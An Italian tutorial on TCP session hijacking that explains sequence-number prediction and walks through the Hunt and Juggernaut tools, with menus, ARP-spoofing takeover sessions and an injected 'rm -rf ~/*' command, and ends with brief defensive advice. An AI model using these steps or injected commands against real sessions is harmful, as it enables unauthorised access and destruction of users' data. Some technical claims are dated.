Session Hijacking – In Cosa Consiste

Il Session hijacking consiste nel prendere possesso di una sessione attiva tra due host, questo significa che chi effettua con successo questo attacco si trova già autenticato con il server.

Questo tipo di attacco funziona solo se effettuato verso protocolli di tipo session oriented come telnet e ftp, inoltre per aumentare le probabilità di successo chi effettua l’attacco deve trovarsi nella stessa rete dei due host che hanno la sessione attiva.

Per capire esattamente il funzionamento dell’hijacking è necessario comprendere il protocollo TCP e in particolare due caratteristiche che sono il three way handshake e i sequence numbers.

Il three way handshake è il modo con cui due host stabiliscono una connessione tcp.
Un host A che vuole iniziare una connessione con un host B invia a questo un segmento TCP con il flag SYN attivo e un certo sequence number impostato a x.
L’host B, se accetta la connessione, risponde con un segmento in cui sono settati i flag SYN e ACK. Inoltre in questo segmento è impostato il sequence number di questo host con valore y e viene incrementato il sequence number dell’host A di uno.
Infine l’host A, dopo avere ricevuto la risposta dall’host B, invia un segmento con il flag ACK attivo e un sequence number pari a x + 1.
A questo punto la connessione è stabilita.

I sequence numbers che abbiamo già visto nella fase in cui viene stabilita la connessione tra gli host sono un elemento chiave del Session Hijacking.
I sequence number sono usati dall’host che riceve i pacchetti per stabilirne l’ordine, inoltre tramite questi la macchina ricevente è in grado di indicare all’host che invia quali pacchetti sono stati ricevuti e quali no in modo che siano nuovamente inviati.
Il punto chiave è che è possibile prevedere il modo in cui questi sequence numbers vengono generati.

Dopo aver completato l’introduzione al Session Hijacking possiamo analizzare come aviene l’attacco.

Innanzitutto chi lo effettua deve individuare un obiettivo che deve essere un server che supporta connessioni di tipo session oriented come un server telnet o ftp.

A questo punto è necessario individuare come il sistema operativo dell’host obiettivo dell’attacco. Infatti a seconda del sistema operativo si ha un diverso modo di generazione dei sequence numbers, i sistemi windows generano sequence number che sono molto più facilmente prevedibili rispetto a quelli generati da un sistema linux.

Una volta fatto questo bisogna individuare una sessione attiva visto che questo la presenza di questa è un requisito indispensabile pe un session hijacking. Bisogna anche considerare che è preferire svolgere questo tipo di operazione in un momento di elevato traffico visto che ci sono meno possibilità che l’attacco venga notato in questo modo.

A questo punto chi effettua l’attacco è in grado di conosce l’indirizzo ip del server e del client che hanno la sessione attiva e anche i numeri di porta su cui sta avvenendo la comunicazione.
Quindi è necessario individurare il corretto sequence number per effettuare il session hijaking, infatti se il server aspetta di ricevere un pacchetto con il sequence number 77777 e l’attaccante in via un pacchetto con un sequence number 22222 questo non verrà accettato in modo corretto.

Una volta individuati i corretti sequence numbers chi effettua l’attaco ha la necessita di fare in modo che l’host che ha la sessione attiva con il server sia disconnesso in modo che non possa più inviare pacchetti.
Questo generalmente avviene eseguento un attacco di dipo DoS nei confronti dell’host.

Fatto questo, chi effettua l’attacco può iniziare a inviare pacchetti al server nascondendo l’origine e il sequence number di questi.

Analizziamo alcuni degli strumenti usati per effettuare il session hijacking.

Hunt è un tool disponibile per linux che permette di effettuare il session hijacking.
Una funzionalità molto interessante di questo tool è la possibilità di riattivare la sessione originaria tra il server e il client una volta completato l’attacco, in questo modo ci sono maggiori possibilità che l’operazione non venga notata.

Installazione

Una volta che si è scaricato il tool dal sito http://packetstorm.linuxsecurity.com/sniffers/hunt/ è necessario decomprimerlo con il seguente comando

host# tar -xvzf hunt-1.5.tgz

A questo punto è possibile spostarsi nella directory hunt-1.5 e compilare il programma.

host# cd hunt-1.5
host# make

Per eseguire il tool è sufficiente il seguente comando

host# ./hunt

Utilizzo di Hunt

Avviando Hunt si accede al seguente menu

[root@localhost hunt-1.5]# ./hunt
/*
 *      hunt 1.5
 *      multipurpose connection intruder / sniffer for Linux
 *      (c) 1998-2000 by kra
 */
starting hunt
— Main Menu — rcvpkt 0, free/alloc 64/64 ——
l/w/r) list/watch/reset connections
u)     host up tests
a)     arp/simple hijack (avoids ack storm if arp used)
s)     simple hijack
d)     daemons rst/arp/sniff/mac
o)     options
x)     exit
->

Le varie opzioni del menu ci permettono le seguenti azioni

l    Mostra tutte le connessioni attive
w    Permette di visualizzare il traffico tra due host specifici
r    Resetta una conessione specifica
h    Mostra quali sono gli host attivi.
a    Permette di effettuare lo spoofing di un MAC address
s    Permette di eseguire un simple hijack che consiste nell’inserire un     solo comando nella sessione attiva tra l’host e il server.
d    Imposta le opzioni relative a rst, arp, sniff e mac
o    Imposta le opzioni relative al tool come i tempi di timeout

Analizziamo ora come utilizzare il tool per effettuare un arp simple hijack.
Questa opzione sfrutta l’arp spoofing che consiste nel far credere al server che il MAC address che corrisponde all’indirizzo ip del client che ha la sessione attiva sia quello dell’host utilizzato da chi effettua l’atttacco.
In questo modo il server invia i dati all’host di chi sta effettuando l’hijacking.

-> a
0) 192.168.1.1 [35481]         –> 192.168.1.4 [23]

Ci vengono mostrate tutte le sessioni attive.
In questo caso abbiamo una sola session attiva quindi la selezioniamo con l’opzione 0

choose conn> 0
arp spoof src in dst y/n [y]>
src MAC [EA:1A:DE:AD:BE:04]>
arp spoof dst in src y/n [y]>
dst MAC [EA:1A:DE:AD:BE:05]>
input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>
dump connectin y/n [y]> n
press key to take over of connection
CTRL-] to break

A questo punto chi effettua l’attacco può prendere possesso della sessione e eseguire comandi con i permessi dell’utente che si era precedentemente autenticato.

rm -rf ~/*

[r]reset connection/[s]ynchronize/[n]one [r]> s

user have to type 12 characters and print 29 characters to synchronize connection

CTRL-C to break

Done

Juggernaut è uno sniffer che implementa particolari funzionalità utilizzabili per effettuare il session hijacking.

Installazione

Una volta che si è scaricato il file è possibile procedere decomprimendolo

host# tar -xvf 1.2.tar

Quindi si compila eseguendo il seguente comando

host# make all

A questo punto è possibile avviare il tool

host# ./juggernaut

In questo modo si accede al seguente menu

?) Help
0) Program information
1) Connection database
2) Spy on a connection
3) Reset a connection
4) Automated connection reset daemon
5) Simplex connection hijack
6) Interactive connection hijack
7) Packet assembly module
8) Souper sekret option number eight
9) Step down

Analizziamo quindi le varie opzioni che sono fornite da questo menu

Connection database
Questa opzione mostra tutte le sessioni attive, è da notare però che in presenza di una rete ethernet switched il tool potrebbe non essere in gradi di vedere sessioni anche se sono attive.

Spy on a connection
Accedendo a questa opzione è possibile effettuare lo sniffing di una sessione.

Reset a connection
Permette di selezionare una sessione attiva e di resettarla-

Automated connection reset daemon
Attivando questa opzione è possibile resettare ogni tentativo di connessione proveniente da un determinato indirizzo ip.
Il tool ci permette di specificare se devono essere impedite le connessione dall’host specificato verso tutti gli altri host o verso uno specifico server

Enter source IP [q] >192.168.1.4
Enter target IP (optional) [q] >
Reseting all connection requests from: 192.168.1.4
[cr]

Simplex connection hijack
Questa opzione permette di effettuare un simple hijack, di inserire quindi un comando all’interno del flusso di dati tra client e server.

Choose a connection [q] >1
Enter the command string you wish executed [q] > touch file
Spying on connection, hit ‘ctrl-c’ when you want to hijack.
NOTE: This may cause an ACK storm until client is RST.
Spying on connection: 192.168.1.4 [5247]  –>  192.168.1.1 [23]

Interactive connection hijack
Permette di effettuare un session hijacking completo.
Bisogna tenere presente che utilizzando questo metodo si crea quello che viene chiamato ACK Storm che ha come conseguenza il rischio di interruzione delle altre connessioni presenti sulla rete.

Packet assembly module
Attivando questa opzione è possibile creare i propri pacchetti specificando cosa devono contenere i vari campi.

Il Session Hijacking è un tipo di attacco molto pericoloso e quindi è necessario limitare la possibilità che venga eseguito all’interno della propria rete.

Una soluzione è l’utilizzo di connessioni criptate che rendono molto più difficile questo tipo di attacco, quindi è bene rimpiazzare Telnet con ssh che permette l’invio di dati criptati e ftp con sftp.

Un modo per limitare la possibilità di effettuare è la presenza di una rete Ethernet di tipo switched, in cui gli host sono connessi a degli switch invece che a degli hub. Ma comunque tecniche come quella dell’ARP spoofing non garantiscono che questo tipo di rete non sia a rischio di Session Hijacking.